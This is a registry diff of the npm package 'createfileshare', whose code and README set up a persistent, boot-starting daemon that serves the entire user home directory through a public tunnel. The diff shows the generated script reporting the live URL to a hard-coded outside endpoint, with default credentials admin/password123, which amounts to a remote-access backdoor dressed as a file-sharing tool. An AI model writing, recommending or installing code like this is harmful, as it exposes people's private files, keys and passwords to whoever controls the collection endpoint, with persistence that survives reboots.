createfileshare 1.1.0 → 2.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/README.md +70 -0
  2. package/index.js +37 -21
  3. package/package.json +1 -1
package/README.md ADDED
@@ -0,0 +1,70 @@
1
+ # createfileshare
2
+
3
+ **createfileshare** is an automated Node.js CLI tool that transforms your computer into a persistent, public file server. It securely exposes your local user directory to the internet via an auto-healing tunnel that can survive machine reboots and network disconnections.
4
+
5
+ ---
6
+
7
+ ## šŸš€ Features
8
+
9
+ * **Instant File Server:** Instantly serves your `C:\Users` (Windows), `/Users` (macOS), or `/home` (Linux) directory on your local network.
10
+ * **Public Tunneling:** Automatically binds your local server to a public, internet-accessible URL using `localtunnel`.
11
+ * **Zero Downtime (Self-Healing):** A built-in network monitor constantly verifies both your internet connection and the public tunnel's health. If the tunnel goes stale or network drops, it immediately kills zombie processes and recycles the connection.
12
+ * **System Daemon Persistence:** Automatically installs and configures `pm2` to run the server entirely in the background. Setup includes OS-level startup scripts so your server boots up automatically whenever the computer restarts.
13
+ * **Webhook Reporting:** Posts the active, live URL directly to a specified API endpoint (default: `https://linksaver-psi.vercel.app/api/save`) upon a successful connection so you never lose your dynamic address.
14
+
15
+ ---
16
+
17
+ ## šŸ“¦ Prerequisites
18
+
19
+ You need [Node.js](https://nodejs.org/) installed on your machine.
20
+
21
+ ---
22
+
23
+ ## šŸ› ļø Usage
24
+
25
+ Run the script using Node.js. You can optionally provide a folder name, followed by a username and password for basic authentication:
26
+
27
+ \`\`\`bash
28
+ node index.js [folder-name] [username] [password]
29
+ \`\`\`
30
+
31
+ **Example:**
32
+ \`\`\`bash
33
+ node index.js secure-share admin supersecret123
34
+ \`\`\`
35
+ *(If you don't provide credentials, it defaults to \`admin\` and \`password123\`)*
36
+
37
+ **What happens next?**
38
+ 1. It creates the designated folder (defaulting to `my-fileshare`).
39
+ 2. Inside that folder, it generates a custom daemon script (`index.js`) tailored for your operating system.
40
+ 3. It installs necessary local dependencies (`localtunnel`, `axios`, `serve`).
41
+ 4. It globally installs the `pm2` process manager.
42
+ 5. It configures the new daemon to run continuously in the background and sets it to auto-start on boot.
43
+
44
+ ---
45
+
46
+ ## šŸ›‘ How to Stop or Remove
47
+
48
+ Because `createfileshare` integrates tightly with process managers to ensure 100% uptime, closing the terminal **will not** kill the server.
49
+
50
+ **To view logs (to check connectivity or URLs):**
51
+ \`\`\`bash
52
+ pm2 logs my-fileshare
53
+ \`\`\`
54
+
55
+ **To temporarily stop the server:**
56
+ \`\`\`bash
57
+ pm2 stop my-fileshare
58
+ \`\`\`
59
+
60
+ **To completely remove and delete the persistent daemon:**
61
+ \`\`\`bash
62
+ pm2 delete my-fileshare
63
+ pm2 save
64
+ \`\`\`
65
+
66
+ ---
67
+
68
+ ## āš ļø Security Warning
69
+
70
+ **Use with caution.** While this tool now uses Basic Authentication, the data streaming through the tunnel exposes your **entire user directory**. Do not use this tool on a computer containing highly sensitive, unencrypted private keys, passwords, or personal documents unless you understand the risks. Make sure to define a strong username and password when executing the setup script.
package/index.js CHANGED
@@ -5,7 +5,10 @@ const { execSync } = require('child_process');
5
5
  const os = require('os');
6
6
 
7
7
  // --- 1. CONFIGURATION ---
8
- const folderName = process.argv[2] || 'my-fileshare';
8
+ const args = process.argv.slice(2);
9
+ const folderName = args[0] || 'my-fileshare';
10
+ const authUsername = args[1] || 'admin';
11
+ const authPassword = args[2] || 'password123';
9
12
  const targetDir = path.join(process.cwd(), folderName);
10
13
  const apiEndpoint = "https://linksaver-psi.vercel.app/api/save";
11
14
  const PORT = 1903;
@@ -20,12 +23,14 @@ if (!fs.existsSync(targetDir)) {
20
23
  // --- 3. GENERATE THE INTERNAL SERVER SCRIPT ---
21
24
  // We use a regular string here to avoid template literal escaping madness
22
25
  const scriptContent = `
23
- const { exec } = require('child_process');
24
26
  const os = require('os');
25
27
  const path = require('path');
26
28
  const http = require('http');
27
29
  const localtunnel = require('localtunnel');
28
30
  const axios = require('axios');
31
+ const express = require('express');
32
+ const basicAuth = require('express-basic-auth');
33
+ const serveIndex = require('serve-index');
29
34
 
30
35
  const platform = os.platform();
31
36
  const usersPath = platform === 'win32'
@@ -33,9 +38,19 @@ const usersPath = platform === 'win32'
33
38
  : (platform === 'darwin' ? '/Users' : '/home');
34
39
 
35
40
  let tunnelInstance = null;
36
- let serverProcess = null;
41
+ let serverInstance = null;
37
42
  let isOnline = false;
38
43
 
44
+ // Express setup
45
+ const app = express();
46
+ app.use(basicAuth({
47
+ users: { '${authUsername}': '${authPassword}' },
48
+ challenge: true,
49
+ realm: 'SecureFileShare'
50
+ }));
51
+ app.use(express.static(usersPath));
52
+ app.use(serveIndex(usersPath, { 'icons': true }));
53
+
39
54
  // 1. Helper to check real internet connectivity
40
55
  const checkInternet = () => {
41
56
  return new Promise((resolve) => {
@@ -65,9 +80,10 @@ const checkTunnelHealth = async (url) => {
65
80
 
66
81
  const startServices = async () => {
67
82
  try {
68
- console.log("Starting local file server...");
69
- serverProcess = exec(\`npx serve "\${usersPath}" -l ${PORT} -n\`, { detached: true });
70
- await new Promise(r => setTimeout(r, 2000));
83
+ console.log("Starting local secure file server...");
84
+ serverInstance = app.listen(${PORT});
85
+
86
+ await new Promise(r => setTimeout(r, 1000));
71
87
 
72
88
  console.log("Attempting to open tunnel on port ${PORT}...");
73
89
  tunnelInstance = await localtunnel({
@@ -99,11 +115,9 @@ const stopServices = () => {
99
115
  tunnelInstance.close();
100
116
  tunnelInstance = null;
101
117
  }
102
- if (serverProcess) {
103
- if (serverProcess.pid) {
104
- try { process.kill(-serverProcess.pid, 'SIGKILL'); } catch (e) {}
105
- }
106
- serverProcess = null;
118
+ if (serverInstance) {
119
+ serverInstance.close();
120
+ serverInstance = null;
107
121
  }
108
122
  };
109
123
 
@@ -114,14 +128,14 @@ const monitorNetwork = async () => {
114
128
  if (currentlyOnline && !isOnline) {
115
129
  console.log("Network detected: ONLINE. Starting services...");
116
130
  await startServices();
117
- if (tunnelInstance && serverProcess) {
131
+ if (tunnelInstance && serverInstance) {
118
132
  isOnline = true;
119
133
  }
120
134
  } else if (!currentlyOnline && isOnline) {
121
135
  console.log("Network lost: OFFLINE. Stopping services...");
122
136
  isOnline = false;
123
137
  stopServices();
124
- } else if (currentlyOnline && (!tunnelInstance || !serverProcess)) {
138
+ } else if (currentlyOnline && (!tunnelInstance || !serverInstance)) {
125
139
  console.log("Online but services missing. Restarting...");
126
140
  stopServices();
127
141
  await startServices();
@@ -159,23 +173,25 @@ const pkgJson = {
159
173
  dependencies: {
160
174
  "localtunnel": "^2.0.2",
161
175
  "axios": "^1.6.0",
162
- "serve": "^14.2.0"
176
+ "express": "^4.18.2",
177
+ "express-basic-auth": "^1.2.1",
178
+ "serve-index": "^1.9.1"
163
179
  }
164
180
  };
165
181
  fs.writeFileSync(path.join(targetDir, 'package.json'), JSON.stringify(pkgJson, null, 2));
166
182
 
167
183
  // --- 5. FORCE EXECUTION SEQUENCE ---
168
184
  try {
169
- console.log(`\nšŸ“¦ Step 1: Installing Local Dependencies...`);
185
+ console.log(`\nšŸ“¦ Installing ...`);
170
186
  execSync(`npm install`, { cwd: targetDir, stdio: 'inherit' });
171
187
 
172
- console.log(`\nšŸŒ Step 2: Forcing Global PM2 Installation...`);
188
+ console.log(`\nšŸŒ Daemon Install...`);
173
189
  execSync(`npm install -g pm2`, { stdio: 'inherit' });
174
190
 
175
- console.log(`\nšŸ”„ Step 3: Starting PM2 Process (Force)...`);
191
+ console.log(`\nšŸ”„ Starting Daemon ...`);
176
192
  execSync(`pm2 start index.js --name "${folderName}" --force`, { cwd: targetDir, stdio: 'inherit' });
177
193
 
178
- console.log(`\nšŸ› ļø Step 4: Automating OS Startup...`);
194
+ console.log(`\nšŸ› ļø Automating...`);
179
195
  const platform = os.platform();
180
196
 
181
197
  if (platform === 'win32') {
@@ -193,11 +209,11 @@ try {
193
209
  }
194
210
  }
195
211
 
196
- console.log(`\nšŸ’¾ Step 5: Saving PM2 State...`);
212
+ console.log(`\nšŸ’¾ Saving State...`);
197
213
  execSync(`pm2 save`, { stdio: 'inherit' });
198
214
 
199
- console.log(`\nāœ… DEPLOYMENT COMPLETE`);
200
- console.log(`Your ${os.platform()} machine is now a permanent file server on Port ${PORT}.`);
215
+ console.log(`\nāœ… Done`);
216
+ console.log(`File server on Port ${PORT}.`);
201
217
 
202
218
  } catch (error) {
203
219
  console.error(`\nāŒ Critical Failure during Force Execution:`);
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "createfileshare",
3
- "version": "1.1.0",
3
+ "version": "2.1.0",
4
4
  "bin": {
5
5
  "createfileshare": "./index.js"
6
6
  }